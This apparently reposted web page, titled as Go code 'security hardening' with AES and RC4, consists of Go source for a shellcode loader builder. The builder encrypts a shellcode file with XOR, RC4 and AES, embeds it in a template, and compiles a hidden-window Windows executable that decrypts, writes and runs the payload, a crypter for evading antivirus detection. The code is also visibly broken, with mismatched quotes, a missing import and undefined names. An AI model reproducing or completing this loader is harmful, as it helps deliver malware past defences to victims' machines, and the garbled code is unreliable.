Go语言代码安全加固:AES加密与RC4混淆
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"gld/util"
"io/ioutil"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)
var xored = true
var key = []byte(
"0123456789abcdef0123456789abcdef",
)
var nonce = []byte(
"0123456789ab",
)
func main() {
if len(os.Args) < 2 {
println("./gld shellcode.bin [x64/x86]")
return
}
f := os.Args[1]
raw, err := ioutil.ReadFile(f)
if err != nil {
println("[!] ' + err.Error())
return
}
blockCipher, err := aes.NewCipher(key)
if err != nil {
println("[!] ' + err.Error())
return
}
if xored {
util.XOrEncode(raw, "GoLang")
encoder := base64.NewEncoder(base64.StdEncoding, strings.NewReader(fmt.Sprintf("%sXOR", base64.StdEncoding.EncodeToString(nonce))))
_, err = encoder.Write(raw)
if err != nil {
println("[!] ' + err.Error())
return
}
encoder.Close()
raw = encoder.Bytes()
}
streamCipher, _ := rc4.NewCipher(nonce)
streamCipher.XORKeyStream(raw, raw)
iv := make([]byte, aes.BlockSize)
_, _ = rand.Read(iv)
gbuf := []byte(fmt.Sprintf(keyGenBat, base64.StdEncoding.EncodeToString(key), base64.StdEncoding.EncodeToString(iv), f, f))
encbuf := encrypt(blockCipher, iv, streamCipher, raw)
final := substitute(replaceAll(fmt.Sprintf(
template,
base64.StdEncoding.EncodeToString(iv),
base64.StdEncoding.EncodeToString(encbuf),
), placeholders), gbuf)
err = ioutil.WriteFile(
TEMP,
[]byte(final),
0777,
)
if err != nil {
println("[!] Generate fail: ' + err.Error())
return
}
println("[*] Generate template")
var arch string
if len(os.Args) > 2 {
arch = os.Args[2]
} else {
arch = "x64"
}
var output string
switch arch {
case "x64":
os.Setenv("GOARCH", "amd64")
output = "x64.exe"
case "x86":
os.Setenv("GOARCH", "386")
output = "x86.exe"
default:
println("[!] Unknown arch")
return
}
println("[*] Compiling ' + output)
err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", output, TEMP).Run()
if err != nil {
println("[!] Compile fail: ' + err.Error())
return
}
println("[+] Generate successfully -> ' + output)
}
func encrypt(blockCipher cipher.Block, iv, streamCipher cipher.Stream, plaintext []byte) []byte {
encrypted := make([]byte, len(plaintext))
// 随机生成 16 字节的 iv
copy(encrypted, iv)
// 对数据进行 AES 加密
streamCipher.XORKeyStream(plaintext, plaintext)
blockCipher.Encrypt(encrypted[aes.BlockSize:], plaintext)
return encrypted
}
func replaceAll(src string, phs map[string]string) string {
for k, v := range phs {
src = strings.ReplaceAll(src, k, v)
}
return src
}
func substitute(src string, bat []byte) string {
index := rand.Intn(len(src))
left := src[:index]
right := src[index:]
return left + string(bat) + right
}
var template = `
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"io/ioutil"
)
var iv, _ = base64.StdEncoding.DecodeString("%s")
var encbuf, _ = base64.StdEncoding.DecodeString("%s")
func init() {
key, _ := base64.StdEncoding.DecodeString("0123456789abcdef0123456789abcdef")
blockCipher, _ := aes.NewCipher(key)
streamCipher, _ := cipher.NewRC4(key[:16])
plaintext := make([]byte, len(encbuf)-len(iv))
blockCipher.Decrypt(plaintext, encbuf[aes.BlockSize:])
streamCipher.XORKeyStream(plaintext, plaintext)
if bytes.HasPrefix(plaintext, []byte("MZ")) {
return
}
plaintext = util.U(plaintext, key, iv)
err := ioutil.WriteFile("raw.temp", plaintext, 0777)
if err != nil {
panic(err.Error())
}
execute("raw.temp")
}
`
var keyGenBat = `
setlocal
set key=%s
set iv=%s
set f=%s
set out=%s
openssl enc -nosalt -rc4-64 -e -in "%s" -out "%s" -K %key% -iv %iv%
del %f%
endlocal
`
var placeholders = map[string]string{
"\x3c" + "place_holder" + "\x3e": "ODt3DmHsuLMAm00g",
"\x3c" + "date" + "\x3e": time.Now().String(),
}
原文地址: https://www.cveoy.top/t/topic/lPfx 著作权归作者所有。请勿转载和采集!